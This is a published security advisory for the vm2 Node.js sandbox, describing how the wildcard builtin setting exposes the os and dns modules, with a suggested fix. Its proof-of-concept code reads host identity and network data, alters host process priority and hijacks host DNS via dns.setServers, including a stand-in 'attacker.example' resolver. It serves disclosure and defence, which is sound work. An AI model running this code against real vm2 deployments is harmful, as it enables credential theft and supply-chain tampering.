GHSA-M5W8-4GQ2-6F8X

Vulnerability from github – Published: 2026-08-17 17:32 – Updated: 2026-08-17 17:32
VLAI
Summary
vm2: NodeVM `builtin: ['*']` exposes `os` and `dns` — process-wide observability reads AND writes that hijack the host (sibling class of GHSA-9g8x-92q2-p28f)
Details

NodeVM builtin: ['*'] exposes os and dns — process-wide observability reads AND writes that hijack the host (sibling class of GHSA-9g8x-92q2-p28f)

CWE: CWE-200 (Exposure of Sensitive Information to an Unauthorized Actor) chained with CWE-732 (Incorrect Permission Assignment for Critical Resource) and CWE-285 (Improper Authorization) — same class the maintainer codified as Defense Invariant #13 in lib/builtin.js and as Category 35 / GHSA-9g8x in docs/ATTACKS.md.

CVSS v3.1: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:L → 9.3 (Critical)

(Scope = Changed because the data being read and the state being written both belong to the host process, not the sandbox. Confidentiality = High because os.userInfo() returns host UID/GID/username/homedir + os.networkInterfaces() returns the full host network topology including container/VM interfaces with IPs and MAC addresses. Integrity = High because dns.setServers() is a process-wide write that hijacks every subsequent DNS lookup the host makes — including outbound HTTP, telemetry, npm/registry, and any host code that uses fetch or URL-based fs paths. Privileges Required = None because the attacker controls sandbox code, which is the threat model NodeVM exists to mitigate.)

Summary

GHSA-9g8x-92q2-p28f closed the "process-wide observability builtins" class by adding diagnostics_channel, async_hooks, perf_hooks, and v8 to DANGEROUS_BUILTINS in lib/builtin.js. The fix's rationale (in the commit message and docs/ATTACKS.md Category 35) is general:

Process-wide observability builtins. Unlike most Node builtins, these expose state of the entire host process rather than sandbox-local state — the vm2 boundary cannot usefully contain them because the data they surface […] belongs to the embedder. Even a readonly proxy that forwards every call to the host module is a working host-data exfiltration primitive.

Two builtins satisfying the same description were not added: os and dns. Both are reachable today under the documented builtin: ['*'] configuration; both expose host-process state that the vm.readonly() proxy cannot localise; and both have write APIs that mutate global host-process state from the sandbox (os.setPriority(), dns.setServers(), dns.setDefaultResultOrder()). dns.setServers() in particular turns sandbox code into a process-wide DNS hijack primitive — strictly worse than every read-only leak that GHSA-9g8x added.

Adding os and dns to DANGEROUS_BUILTINS extends the same fix to the rest of the class. The existing isDangerousBuiltin(key) family-prefix matcher (added by GHSA-rp36-8xq3-r6c4) automatically catches node:os, node:dns, and node:dns/promises once the family names are present.

Affected

  • vm2 v3.11.5 (current package.json version on main) and the unreleased [3.11.4] slot that ships GHSA-9g8x-92q2-p28f, GHSA-rp36-8xq3-r6c4, GHSA-r9pm-gxmw-wv6p, et al.
  • All NodeVM configurations that expand the builtin allowlist via '*' (the documented "full builtins" pattern) and have not manually appended -os, -dns exclusions — which is the recommended config in README and the test fixtures.
  • Reproduced on Node v22.12.0 with HEAD 7a1f510 of the audit checkout.

Vulnerability details

[A] — Source: the '*' wildcard expansion includes os and dns

lib/builtin.js:166-167:

const BUILTIN_MODULES = (nmod.builtinModules || Object.getOwnPropertyNames(process.binding('natives')))
    .filter(s => !s.startsWith('internal/') && !s.startsWith('_') && !isDangerousBuiltin(s));

isDangerousBuiltin resolves the current DANGEROUS_BUILTINS set (lib/builtin.js:83-139):

const DANGEROUS_BUILTINS = new Set([
    'module', 'worker_threads', 'cluster', 'vm', 'repl', 'inspector', 'process',
    'trace_events', 'wasi',
    // GHSA-9g8x-92q2-p28f:
    'diagnostics_channel', 'async_hooks', 'perf_hooks', 'v8'
]);

os and dns are absent. Under builtin: ['*'] they are admitted into the user-visible builtin map and loaded via the default vm.readonly(hostRequire(key)) path (lib/builtin.js:230):

builtins.set(key, special ? special : vm => vm.readonly(hostRequire(key)));

The readonly proxy forwards every method call to the host realm. For modules whose entire purpose is to read or mutate host-process state, the readonly wrap protects nothing — same observation the GHSA-9g8x commit message makes for v8/perf_hooks.

[B] — os: host-process READS the bridge cannot localise

os.userInfo() returns the host process owner (uid, gid, username, homedir, shell). os.networkInterfaces() returns the host's full network topology including container/VM interfaces with their IPs and MAC addresses. os.hostname() returns the host deployment identity. os.loadavg() / os.uptime() / os.freemem() / os.totalmem() expose host-wide telemetry.

The data source is the host kernel and the host process — the sandbox's vm.readonly() proxy cannot make these calls "sandbox-local" any more than it can for perf_hooks.performance.getEntriesByType('mark'). Same class as the four builtins GHSA-9g8x added.

[C] — os: host-process WRITE via os.setPriority()

os.setPriority([pid, ]priority) invokes setpriority(2) on the host process. With pid = 0 (the default) the sandbox lowers — or, if the host has CAP_SYS_NICE, raises — the priority of the host process. Effect persists after the sandbox call returns; the host has no notification.

Strictly worse than the read-only v8 / perf_hooks family because it's a mutation of host state, not just an observation.

[D] — dns: host-process READS

dns.lookup(hostname, cb) and dns.resolve(hostname, cb) perform DNS queries from the host network identity. The query leaves the host process and lands at whatever DNS resolver the host is configured to use, which sees the host's source IP and the queried name. For deployments behind corporate DNS or per-tenant resolvers, this is a routine SSRF-precursor.

dns.getServers() reveals the host's configured DNS servers — useful for fingerprinting which hosting provider / cloud network the embedder is deployed on.

[E] — dns: host-process WRITE via dns.setServers() — the strongest primitive

dns.setServers(['attacker.example:53']) replaces the host's process-wide DNS resolver list. Every subsequent DNS lookup the host process performs — its own outbound HTTP, telemetry, npm registry, fetch() calls, fs URL paths, any host code that resolves a hostname — goes through the attacker's resolver. The attacker can:

  • Return 127.0.0.1 for any external hostname and steal whatever the host POSTs to it (credentials, tokens).
  • Return an attacker-controlled IP for registry.npmjs.org to swap dependencies on the next install.
  • Return arbitrary IPs for OIDC issuer hostnames to subvert authentication.
  • Stop responding on lookups for legitimate hostnames to DoS host-side telemetry and observability.

The attacker primitive is one synchronous line of sandbox code. There is no rate limit, no audit trail, no notification to the embedder. Symmetric dns.setDefaultResultOrder(order) is a second process-wide write knob that lets the sandbox flip 'ipv4first''verbatim', mainly useful as a chaining helper.

dns/promises also exists as a subpath and shares the same module surface; adding dns to DANGEROUS_BUILTINS automatically catches dns/promises via the existing isDangerousBuiltin family-prefix matcher.

Proof of concept

test-poc.js (run from the vm2 checkout root):

const {NodeVM} = require('./');

// --- [B] / [C] — os reads + write ---
{
  const vm = new NodeVM({ require: { external: true, builtin: ['*'] } });
  const r = vm.run(`
    const os = require('os');
    const before = os.getPriority();
    os.setPriority(10);                 // mutates host process nice value
    module.exports = {
      userInfo: os.userInfo(),          // uid/gid/username/homedir/shell of host
      hostname: os.hostname(),
      networkInterfaces: Object.keys(os.networkInterfaces()),
      uptime: os.uptime(),
      priorityBefore: before,
      priorityAfter: os.getPriority()
    };
  `, 'os.js');
  console.log(JSON.stringify(r, null, 2));
  // Independently verify the host process now reports the bumped priority:
  console.log('host getPriority() =', require('os').getPriority());
}

// --- [E] — dns.setServers hijack ---
{
  const dnsHost = require('dns');
  console.log('host DNS before:', dnsHost.getServers());

  const vm = new NodeVM({ require: { external: true, builtin: ['*'] } });
  vm.run(`
    require('dns').setServers(['127.0.0.1:5353', '8.8.4.4']);
  `, 'dns.js');

  console.log('host DNS after:', dnsHost.getServers());
  // Every subsequent dns.lookup() in the host process now hits the attacker.
}

Observed output on Node v22.12.0 against HEAD 7a1f510:

{
  "userInfo": { "uid": 0, "gid": 0, "username": "root",
                "homedir": "/root", "shell": "/bin/bash" },
  "hostname": "Debian-trixie-latest-amd64-base",
  "networkInterfaces": [ "lo", "enp3s0", "br-06cf1b47c8e0", "podman2",
                         "vethd3955b5", ..., "veth3" ],
  "uptime": 6093038.92,
  "priorityBefore": 0,
  "priorityAfter": 10
}
host getPriority() = 10              ← host realm sees the sandbox write

host DNS before: [ '185.12.64.2', '2a01:4ff:ff00::add:1',
                   '185.12.64.1', '2a01:4ff:ff00::add:2' ]
host DNS after:  [ '127.0.0.1:5353', '8.8.4.4' ]   ← hijacked

Both the host priority change and the host DNS server replacement are observed from the host realm (outside the sandbox) after the vm.run() call returns — confirming the writes persisted past the bridge boundary.

Impact

Direct

  • Host identity disclosure (os) — sandbox reads the host process owner's username, uid, gid, home directory, and shell. For embedders running vm2 with elevated privileges (a common deployment pattern — webhook executors, CI runners), this discloses both the privilege level and the home directory paths the attacker should target for subsequent file writes.
  • Network topology disclosure (os.networkInterfaces) — sandbox enumerates every host network interface including container/VM veth pairs, exposing the deployment's internal topology and giving attackers IP ranges to scan via any other network primitive the embedder grants.
  • Process-wide DNS hijack (dns.setServers) — sandbox replaces the host's DNS resolver list with one line. Every subsequent DNS query the host makes flows through the attacker's resolver. This is a generic credential/token-exfiltration primitive against any host-side outbound HTTP, and a generic supply-chain primitive against any host-side package fetch.
  • Process priority mutation (os.setPriority) — sandbox lowers host process priority for stealth/DoS, or raises it (if the host has CAP_SYS_NICE) for priority squatting against co-tenant processes.

Indirect / second-order

  • Composes with dgram / http / fetch whitelisting — embedders who grant the sandbox network access via the external flag or a documented -os, -dns cutout often miss DNS hijacking as a side-channel. The DNS resolver list change persists in the host, so even host-realm outbound HTTP gets redirected.
  • Composes with future host-realm-string introductions — if any future vm2 fix surfaces a host-realm string (URL, path, hostname) inside the sandbox, the sandbox's hijacked DNS resolver decides where the host eventually connects.
  • Defeats GHSA-9g8x's own threat model — the GHSA-9g8x commit message states the goal is to close the "process-wide observability" class. Leaving os and dns open leaves the class half-closed; the read-side leak path that the commit enumerates for diagnostics_channel ("attacker reads host HTTP requests through a subscriber") composes with dns.setServers to also redirect those requests.
  • Same fix is forward-compatible with future Node releases — adding os and dns to DANGEROUS_BUILTINS does not require enumerating every future Node API; the family-prefix matcher (isDangerousBuiltin) already covers any new os/... or dns/... subpath Node introduces.

Suggested fix

Single-line extension of DANGEROUS_BUILTINS in lib/builtin.js:83-139, alongside the four GHSA-9g8x additions, with the same // SECURITY (GHSA-...) block comment style and rationale:

const DANGEROUS_BUILTINS = new Set([
    'module', 'worker_threads', 'cluster', 'vm', 'repl', 'inspector', 'process',
    'trace_events', 'wasi',
    'diagnostics_channel', 'async_hooks', 'perf_hooks', 'v8',
    // SECURITY (this advisory): Process-wide observability + WRITE builtins.
    // `os.userInfo()` / `os.networkInterfaces()` leak host process identity and
    // network topology in the same class as the GHSA-9g8x readers. `os.setPriority()`,
    // `dns.setServers()`, and `dns.setDefaultResultOrder()` are *write* primitives
    // that mutate host-process state from the sandbox — `dns.setServers()` is a
    // process-wide DNS resolver hijack reachable in one line of sandbox code.
    // Embedders who genuinely need a sandbox-local replacement can register a
    // controlled wrapper under the same name via `mock` / `override`.
    'os',
    'dns'
]);

The existing isDangerousBuiltin(key) family-prefix matcher (introduced by GHSA-rp36-8xq3-r6c4) automatically extends this to node:os, node:dns, and node:dns/promises without further changes. Embedders who genuinely need a sandbox-local os/dns (typically os.platform(), os.EOL, os.constants) can register a hand-written safe wrapper under those names via mock / override, mirroring the escape hatch documented for the GHSA-9g8x denials.

Tests should mirror the test/ghsa/GHSA-9g8x-92q2-p28f/repro.js shape: bare-name + node:-prefixed denial on require(), '*' wildcard expansion exclusion, explicit-allowlist (builtin: ['os'], builtin: ['dns']) rejection, makeBuiltins(['os']) rejection, mock / override escape-hatch acceptance.

docs/ATTACKS.md Category 35 can be extended with the two additional names and the write-class observation, or a new sibling category created for the read+write subclass — either matches the existing documentation pattern.

Show details on source website

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 3.11.5"
      },
      "package": {
        "ecosystem": "npm",
        "name": "vm2"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "3.11.6"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [],
  "database_specific": {
    "cwe_ids": [
      "CWE-200",
      "CWE-285",
      "CWE-732"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-08-17T17:32:47Z",
    "nvd_published_at": null,
    "severity": "CRITICAL"
  },
  "details": "# NodeVM `builtin: [\u0027*\u0027]` exposes `os` and `dns` \u2014 process-wide observability reads AND writes that hijack the host (sibling class of GHSA-9g8x-92q2-p28f)\n\n**CWE**: CWE-200 (Exposure of Sensitive Information to an Unauthorized Actor) chained with CWE-732 (Incorrect Permission Assignment for Critical Resource) and CWE-285 (Improper Authorization) \u2014 same class the maintainer codified as Defense Invariant #13 in `lib/builtin.js` and as Category 35 / GHSA-9g8x in `docs/ATTACKS.md`.\n\n**CVSS v3.1**: `CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:L` \u2192 9.3 (Critical)\n\n(Scope = Changed because the data being read and the state being written both belong to the host process, not the sandbox. Confidentiality = High because `os.userInfo()` returns host UID/GID/username/homedir + `os.networkInterfaces()` returns the full host network topology including container/VM interfaces with IPs and MAC addresses. Integrity = High because `dns.setServers()` is a process-wide write that hijacks every subsequent DNS lookup the host makes \u2014 including outbound HTTP, telemetry, npm/registry, and any host code that uses `fetch` or URL-based fs paths. Privileges Required = None because the attacker controls sandbox code, which is the threat model `NodeVM` exists to mitigate.)\n\n## Summary\n\nGHSA-9g8x-92q2-p28f closed the \"process-wide observability builtins\" class by adding `diagnostics_channel`, `async_hooks`, `perf_hooks`, and `v8` to `DANGEROUS_BUILTINS` in `lib/builtin.js`. The fix\u0027s rationale (in the commit message and `docs/ATTACKS.md` Category 35) is general:\n\n\u003e Process-wide observability builtins. Unlike most Node builtins, these expose state of the *entire host process* rather than sandbox-local state \u2014 the vm2 boundary cannot usefully contain them because the data they surface [\u2026] belongs to the embedder. Even a readonly proxy that forwards every call to the host module is a working host-data exfiltration primitive.\n\nTwo builtins satisfying the same description were not added: **`os`** and **`dns`**. Both are reachable today under the documented `builtin: [\u0027*\u0027]` configuration; both expose host-process state that the `vm.readonly()` proxy cannot localise; and both have *write* APIs that mutate global host-process state from the sandbox (`os.setPriority()`, `dns.setServers()`, `dns.setDefaultResultOrder()`). `dns.setServers()` in particular turns sandbox code into a process-wide DNS hijack primitive \u2014 strictly worse than every read-only leak that GHSA-9g8x added.\n\nAdding `os` and `dns` to `DANGEROUS_BUILTINS` extends the same fix to the rest of the class. The existing `isDangerousBuiltin(key)` family-prefix matcher (added by GHSA-rp36-8xq3-r6c4) automatically catches `node:os`, `node:dns`, and `node:dns/promises` once the family names are present.\n\n## Affected\n\n- vm2 `v3.11.5` (current `package.json` version on `main`) and the unreleased `[3.11.4]` slot that ships GHSA-9g8x-92q2-p28f, GHSA-rp36-8xq3-r6c4, GHSA-r9pm-gxmw-wv6p, et al.\n- All NodeVM configurations that expand the builtin allowlist via `\u0027*\u0027` (the documented \"full builtins\" pattern) and have not manually appended `-os`, `-dns` exclusions \u2014 which is the recommended config in README and the test fixtures.\n- Reproduced on Node v22.12.0 with HEAD `7a1f510` of the audit checkout.\n\n## Vulnerability details\n\n### [A] \u2014 Source: the `\u0027*\u0027` wildcard expansion includes `os` and `dns`\n\n`lib/builtin.js:166-167`:\n\n```js\nconst BUILTIN_MODULES = (nmod.builtinModules || Object.getOwnPropertyNames(process.binding(\u0027natives\u0027)))\n    .filter(s =\u003e !s.startsWith(\u0027internal/\u0027) \u0026\u0026 !s.startsWith(\u0027_\u0027) \u0026\u0026 !isDangerousBuiltin(s));\n```\n\n`isDangerousBuiltin` resolves the current `DANGEROUS_BUILTINS` set (`lib/builtin.js:83-139`):\n\n```js\nconst DANGEROUS_BUILTINS = new Set([\n    \u0027module\u0027, \u0027worker_threads\u0027, \u0027cluster\u0027, \u0027vm\u0027, \u0027repl\u0027, \u0027inspector\u0027, \u0027process\u0027,\n    \u0027trace_events\u0027, \u0027wasi\u0027,\n    // GHSA-9g8x-92q2-p28f:\n    \u0027diagnostics_channel\u0027, \u0027async_hooks\u0027, \u0027perf_hooks\u0027, \u0027v8\u0027\n]);\n```\n\n`os` and `dns` are absent. Under `builtin: [\u0027*\u0027]` they are admitted into the user-visible builtin map and loaded via the default `vm.readonly(hostRequire(key))` path (`lib/builtin.js:230`):\n\n```js\nbuiltins.set(key, special ? special : vm =\u003e vm.readonly(hostRequire(key)));\n```\n\nThe readonly proxy forwards every method call to the host realm. For modules whose entire purpose is to read or mutate host-process state, the readonly wrap protects nothing \u2014 same observation the GHSA-9g8x commit message makes for `v8`/`perf_hooks`.\n\n### [B] \u2014 `os`: host-process READS the bridge cannot localise\n\n`os.userInfo()` returns the host process owner (uid, gid, username, homedir, shell). `os.networkInterfaces()` returns the host\u0027s full network topology including container/VM interfaces with their IPs and MAC addresses. `os.hostname()` returns the host deployment identity. `os.loadavg()` / `os.uptime()` / `os.freemem()` / `os.totalmem()` expose host-wide telemetry.\n\nThe data source is the host kernel and the host process \u2014 the sandbox\u0027s `vm.readonly()` proxy cannot make these calls \"sandbox-local\" any more than it can for `perf_hooks.performance.getEntriesByType(\u0027mark\u0027)`. Same class as the four builtins GHSA-9g8x added.\n\n### [C] \u2014 `os`: host-process WRITE via `os.setPriority()`\n\n`os.setPriority([pid, ]priority)` invokes `setpriority(2)` on the host process. With `pid = 0` (the default) the sandbox lowers \u2014 or, if the host has CAP_SYS_NICE, raises \u2014 the priority of the host process. Effect persists after the sandbox call returns; the host has no notification.\n\nStrictly worse than the read-only `v8` / `perf_hooks` family because it\u0027s a *mutation* of host state, not just an observation.\n\n### [D] \u2014 `dns`: host-process READS\n\n`dns.lookup(hostname, cb)` and `dns.resolve(hostname, cb)` perform DNS queries from the host network identity. The query leaves the host process and lands at whatever DNS resolver the host is configured to use, which sees the host\u0027s source IP and the queried name. For deployments behind corporate DNS or per-tenant resolvers, this is a routine SSRF-precursor.\n\n`dns.getServers()` reveals the host\u0027s configured DNS servers \u2014 useful for fingerprinting which hosting provider / cloud network the embedder is deployed on.\n\n### [E] \u2014 `dns`: host-process WRITE via `dns.setServers()` \u2014 the strongest primitive\n\n`dns.setServers([\u0027attacker.example:53\u0027])` replaces the host\u0027s process-wide DNS resolver list. Every subsequent DNS lookup the host process performs \u2014 its own outbound HTTP, telemetry, npm registry, fetch() calls, `fs` URL paths, any host code that resolves a hostname \u2014 goes through the attacker\u0027s resolver. The attacker can:\n\n- Return `127.0.0.1` for any external hostname and steal whatever the host POSTs to it (credentials, tokens).\n- Return an attacker-controlled IP for `registry.npmjs.org` to swap dependencies on the next install.\n- Return arbitrary IPs for OIDC issuer hostnames to subvert authentication.\n- Stop responding on lookups for legitimate hostnames to DoS host-side telemetry and observability.\n\nThe attacker primitive is *one synchronous line of sandbox code*. There is no rate limit, no audit trail, no notification to the embedder. Symmetric `dns.setDefaultResultOrder(order)` is a second process-wide write knob that lets the sandbox flip `\u0027ipv4first\u0027` \u2194 `\u0027verbatim\u0027`, mainly useful as a chaining helper.\n\n`dns/promises` also exists as a subpath and shares the same module surface; adding `dns` to `DANGEROUS_BUILTINS` automatically catches `dns/promises` via the existing `isDangerousBuiltin` family-prefix matcher.\n\n## Proof of concept\n\n`test-poc.js` (run from the vm2 checkout root):\n\n```js\nconst {NodeVM} = require(\u0027./\u0027);\n\n// --- [B] / [C] \u2014 os reads + write ---\n{\n  const vm = new NodeVM({ require: { external: true, builtin: [\u0027*\u0027] } });\n  const r = vm.run(`\n    const os = require(\u0027os\u0027);\n    const before = os.getPriority();\n    os.setPriority(10);                 // mutates host process nice value\n    module.exports = {\n      userInfo: os.userInfo(),          // uid/gid/username/homedir/shell of host\n      hostname: os.hostname(),\n      networkInterfaces: Object.keys(os.networkInterfaces()),\n      uptime: os.uptime(),\n      priorityBefore: before,\n      priorityAfter: os.getPriority()\n    };\n  `, \u0027os.js\u0027);\n  console.log(JSON.stringify(r, null, 2));\n  // Independently verify the host process now reports the bumped priority:\n  console.log(\u0027host getPriority() =\u0027, require(\u0027os\u0027).getPriority());\n}\n\n// --- [E] \u2014 dns.setServers hijack ---\n{\n  const dnsHost = require(\u0027dns\u0027);\n  console.log(\u0027host DNS before:\u0027, dnsHost.getServers());\n\n  const vm = new NodeVM({ require: { external: true, builtin: [\u0027*\u0027] } });\n  vm.run(`\n    require(\u0027dns\u0027).setServers([\u0027127.0.0.1:5353\u0027, \u00278.8.4.4\u0027]);\n  `, \u0027dns.js\u0027);\n\n  console.log(\u0027host DNS after:\u0027, dnsHost.getServers());\n  // Every subsequent dns.lookup() in the host process now hits the attacker.\n}\n```\n\nObserved output on Node v22.12.0 against HEAD `7a1f510`:\n\n```\n{\n  \"userInfo\": { \"uid\": 0, \"gid\": 0, \"username\": \"root\",\n                \"homedir\": \"/root\", \"shell\": \"/bin/bash\" },\n  \"hostname\": \"Debian-trixie-latest-amd64-base\",\n  \"networkInterfaces\": [ \"lo\", \"enp3s0\", \"br-06cf1b47c8e0\", \"podman2\",\n                         \"vethd3955b5\", ..., \"veth3\" ],\n  \"uptime\": 6093038.92,\n  \"priorityBefore\": 0,\n  \"priorityAfter\": 10\n}\nhost getPriority() = 10              \u2190 host realm sees the sandbox write\n\nhost DNS before: [ \u0027185.12.64.2\u0027, \u00272a01:4ff:ff00::add:1\u0027,\n                   \u0027185.12.64.1\u0027, \u00272a01:4ff:ff00::add:2\u0027 ]\nhost DNS after:  [ \u0027127.0.0.1:5353\u0027, \u00278.8.4.4\u0027 ]   \u2190 hijacked\n```\n\nBoth the host priority change and the host DNS server replacement are observed from the host realm (outside the sandbox) after the `vm.run()` call returns \u2014 confirming the writes persisted past the bridge boundary.\n\n## Impact\n\n### Direct\n\n- **Host identity disclosure (`os`)** \u2014 sandbox reads the host process owner\u0027s username, uid, gid, home directory, and shell. For embedders running vm2 with elevated privileges (a common deployment pattern \u2014 webhook executors, CI runners), this discloses both the privilege level and the home directory paths the attacker should target for subsequent file writes.\n- **Network topology disclosure (`os.networkInterfaces`)** \u2014 sandbox enumerates every host network interface including container/VM veth pairs, exposing the deployment\u0027s internal topology and giving attackers IP ranges to scan via any other network primitive the embedder grants.\n- **Process-wide DNS hijack (`dns.setServers`)** \u2014 sandbox replaces the host\u0027s DNS resolver list with one line. Every subsequent DNS query the host makes flows through the attacker\u0027s resolver. This is a generic credential/token-exfiltration primitive against any host-side outbound HTTP, and a generic supply-chain primitive against any host-side package fetch.\n- **Process priority mutation (`os.setPriority`)** \u2014 sandbox lowers host process priority for stealth/DoS, or raises it (if the host has CAP_SYS_NICE) for priority squatting against co-tenant processes.\n\n### Indirect / second-order\n\n- **Composes with `dgram` / `http` / `fetch` whitelisting** \u2014 embedders who grant the sandbox network access via the `external` flag or a documented `-os, -dns` cutout often miss DNS hijacking as a side-channel. The DNS resolver list change persists in the *host*, so even host-realm outbound HTTP gets redirected.\n- **Composes with future host-realm-string introductions** \u2014 if any future vm2 fix surfaces a host-realm string (URL, path, hostname) inside the sandbox, the sandbox\u0027s hijacked DNS resolver decides where the host eventually connects.\n- **Defeats GHSA-9g8x\u0027s own threat model** \u2014 the GHSA-9g8x commit message states the goal is to close the \"process-wide observability\" class. Leaving `os` and `dns` open leaves the class half-closed; the read-side leak path that the commit enumerates for `diagnostics_channel` (\"attacker reads host HTTP requests through a subscriber\") composes with `dns.setServers` to *also* redirect those requests.\n- **Same fix is forward-compatible with future Node releases** \u2014 adding `os` and `dns` to `DANGEROUS_BUILTINS` does not require enumerating every future Node API; the family-prefix matcher (`isDangerousBuiltin`) already covers any new `os/...` or `dns/...` subpath Node introduces.\n\n## Suggested fix\n\nSingle-line extension of `DANGEROUS_BUILTINS` in `lib/builtin.js:83-139`, alongside the four GHSA-9g8x additions, with the same `// SECURITY (GHSA-...)` block comment style and rationale:\n\n```js\nconst DANGEROUS_BUILTINS = new Set([\n    \u0027module\u0027, \u0027worker_threads\u0027, \u0027cluster\u0027, \u0027vm\u0027, \u0027repl\u0027, \u0027inspector\u0027, \u0027process\u0027,\n    \u0027trace_events\u0027, \u0027wasi\u0027,\n    \u0027diagnostics_channel\u0027, \u0027async_hooks\u0027, \u0027perf_hooks\u0027, \u0027v8\u0027,\n    // SECURITY (this advisory): Process-wide observability + WRITE builtins.\n    // `os.userInfo()` / `os.networkInterfaces()` leak host process identity and\n    // network topology in the same class as the GHSA-9g8x readers. `os.setPriority()`,\n    // `dns.setServers()`, and `dns.setDefaultResultOrder()` are *write* primitives\n    // that mutate host-process state from the sandbox \u2014 `dns.setServers()` is a\n    // process-wide DNS resolver hijack reachable in one line of sandbox code.\n    // Embedders who genuinely need a sandbox-local replacement can register a\n    // controlled wrapper under the same name via `mock` / `override`.\n    \u0027os\u0027,\n    \u0027dns\u0027\n]);\n```\n\nThe existing `isDangerousBuiltin(key)` family-prefix matcher (introduced by GHSA-rp36-8xq3-r6c4) automatically extends this to `node:os`, `node:dns`, and `node:dns/promises` without further changes. Embedders who genuinely need a sandbox-local `os`/`dns` (typically `os.platform()`, `os.EOL`, `os.constants`) can register a hand-written safe wrapper under those names via `mock` / `override`, mirroring the escape hatch documented for the GHSA-9g8x denials.\n\nTests should mirror the `test/ghsa/GHSA-9g8x-92q2-p28f/repro.js` shape: bare-name + `node:`-prefixed denial on `require()`, `\u0027*\u0027` wildcard expansion exclusion, explicit-allowlist (`builtin: [\u0027os\u0027]`, `builtin: [\u0027dns\u0027]`) rejection, `makeBuiltins([\u0027os\u0027])` rejection, `mock` / `override` escape-hatch acceptance.\n\n`docs/ATTACKS.md` Category 35 can be extended with the two additional names and the write-class observation, or a new sibling category created for the read+write subclass \u2014 either matches the existing documentation pattern.",
  "id": "GHSA-m5w8-4gq2-6f8x",
  "modified": "2026-08-17T17:32:47Z",
  "published": "2026-08-17T17:32:47Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/patriksimek/vm2/security/advisories/GHSA-m5w8-4gq2-6f8x"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/patriksimek/vm2"
    },
    {
      "type": "WEB",
      "url": "https://github.com/patriksimek/vm2/releases/tag/3.11.6"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:L",
      "type": "CVSS_V3"
    }
  ],
  "summary": "vm2: NodeVM `builtin: [\u0027*\u0027]` exposes `os` and `dns` \u2014 process-wide observability reads AND writes that hijack the host (sibling class of GHSA-9g8x-92q2-p28f)"
}



Log in or create an account to share your comment.




Tags
Taxonomy of the tags.


Loading…

Loading…

Loading…

Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.

Sightings

Author Source Type Date Other

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
  • Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
  • Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Loading…

Detection rules are retrieved from Rulezet.

Loading…

Loading…

Loading…